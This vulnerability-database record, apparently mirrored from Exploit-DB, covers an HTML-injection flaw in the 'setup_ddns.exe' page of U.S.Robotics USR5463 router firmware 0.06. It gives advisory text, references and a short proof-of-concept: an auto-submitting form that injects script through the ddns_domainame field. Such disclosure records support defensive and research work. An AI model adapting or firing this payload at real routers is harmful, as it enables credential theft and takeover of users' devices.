Details of VAR-E-201005-0839

ID

VAR-E-201005-0839

EDB ID

34018

TITLE

U.S.Robotics USR5463 0.06 Firmware - 'setup_ddns.exe' HTML Injection - Hardware remote Exploit

Trust: 0.6

sources: EXPLOIT-DB: 34018

DESCRIPTION

U.S.Robotics USR5463 0.06 Firmware - 'setup_ddns.exe' HTML Injection.. remote exploit for Hardware platform

Trust: 0.6

sources: EXPLOIT-DB: 34018

AFFECTED PRODUCTS

vendor:

u s robotics

model:

usr5463

scope:

version:

0.06

Trust: 1.3

sources: BID: 40292 // EXPLOIT-DB: 34018

EXPLOIT

source: https://www.securityfocus.com/bid/40292/info

U.S.Robotics USR5463 firmware is prone to an HTML-injection vulnerability because it fails to sufficiently sanitize user-supplied data.

Attacker-supplied HTML or JavaScript code could run in the context of the affected site, potentially allowing the attacker to steal cookie-based authentication credentials and to control how the site is rendered to the user; other attacks are also possible.

U.S.Robotics firmware USR5463 0.06 is vulnerable.

<form action="http://192.168.2.1/cgi-bin/setup_ddns.exe" method="post">
<input type=hidden name="ddns_domainame" value='"><script>alert(1)</script>'>
<input type=hidden name="ddns_account" value=''>
<input type=password size=1 name="ddns_password" value=''>
</form>
<script>document.forms[0].submit()</script>

Trust: 1.0

sources: EXPLOIT-DB: 34018

EXPLOIT LANGUAGE

txt

Trust: 0.6

sources: EXPLOIT-DB: 34018

PRICE

free

Trust: 0.6

sources: EXPLOIT-DB: 34018

TYPE

'setup_ddns.exe' HTML Injection

Trust: 1.0

sources: EXPLOIT-DB: 34018

CREDITS

SH4V

Trust: 0.6

sources: EXPLOIT-DB: 34018

EXTERNAL IDS

db:	EXPLOIT-DB	id:	34018	Trust: 1.9
db:	BID	id:	40292	Trust: 1.9
db:	EDBNET	id:	55402	Trust: 0.6

sources: BID: 40292 // EXPLOIT-DB: 34018 // EDBNET: 55402

REFERENCES

url:	https://www.securityfocus.com/bid/40292/info	Trust: 1.0
url:	https://www.exploit-db.com/exploits/34018/	Trust: 0.6
url:	http://www.usr-emea.com/support/s-prod-template.asp?loc=emea&prod=5463	Trust: 0.3
url:	https://www.exploit-db.com/exploits/34018	Trust: 0.3

sources: BID: 40292 // EXPLOIT-DB: 34018 // EDBNET: 55402

SOURCES

db:	BID	id:	40292
db:	EXPLOIT-DB	id:	34018
db:	EDBNET	id:	55402

LAST UPDATE DATE

2022-07-27T10:03:46.808000+00:00

SOURCES UPDATE DATE

db:

BID

id:

40292

date:

2010-05-20T00:00:00

SOURCES RELEASE DATE

db:	BID	id:	40292	date:	2010-05-20T00:00:00
db:	EXPLOIT-DB	id:	34018	date:	2010-05-20T00:00:00
db:	EDBNET	id:	55402	date:	2010-05-20T00:00:00